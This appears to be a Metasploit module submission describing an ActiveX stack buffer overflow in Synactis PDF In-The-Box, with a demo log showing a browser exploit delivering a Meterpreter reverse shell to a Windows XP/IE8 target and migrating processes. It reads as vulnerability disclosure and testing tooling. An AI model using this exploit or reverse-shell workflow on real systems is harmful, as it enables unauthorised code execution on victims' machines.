Add OSVDB-93754: Synactis PDF In-The-Box ConnectToSynactic Stack Buffer ...

This module exploits a vulnerability found in Synactis' PDF In-The-Box ActiveX component, specifically PDF_IN_1.ocx.  When a long string of data is given to the ConnectToSynactis function, which is meant to be used for the ldCmdLine argument of a WinExec call, a strcpy routine can end up overwriting a TRegistry class pointer saved on the stack, and results in arbitrary code execution under the context of the user.

I downloaded the component from Logic Print 2013, which can be found here:
http://www.logic-print.com/en/printestimatingsoftware.html

Or, ask me for the trial for testing.

Demo:

	msf exploit(synactis_connecttosynactis_bof) > exploit
	[*] Exploit running as background job.
	
	[*] Started reverse handler on 10.0.1.76:4444 
	[*] Using URL: http://0.0.0.0:8080/thtF4sPSqZj
	[*]  Local IP: http://10.0.1.76:8080/thtF4sPSqZj
	[*] Server started.
	msf exploit(synactis_connecttosynactis_bof) > 
	[*] 10.0.1.79        synactis_connecttosynactis_bof - Requesting: /thtF4sPSqZj
	[*] 10.0.1.79        synactis_connecttosynactis_bof - Target selected as: IE 8 on Windows XP SP3
	[*] 10.0.1.79        synactis_connecttosynactis_bof - Using msvcrt ROP
	[*] Sending stage (751104 bytes) to 10.0.1.79
	[*] Meterpreter session 1 opened (10.0.1.76:4444 -> 10.0.1.79:1154) at 2013-06-06 20:02:00 -0500
	[*] Session ID 1 (10.0.1.76:4444 -> 10.0.1.79:1154) processing InitialAutoRunScript 'migrate -f'
	[*] Current server process: iexplore.exe (3784)
	[*] Spawning notepad.exe process to migrate to
	[+] Migrating to 1068
	[+] Successfully migrated to process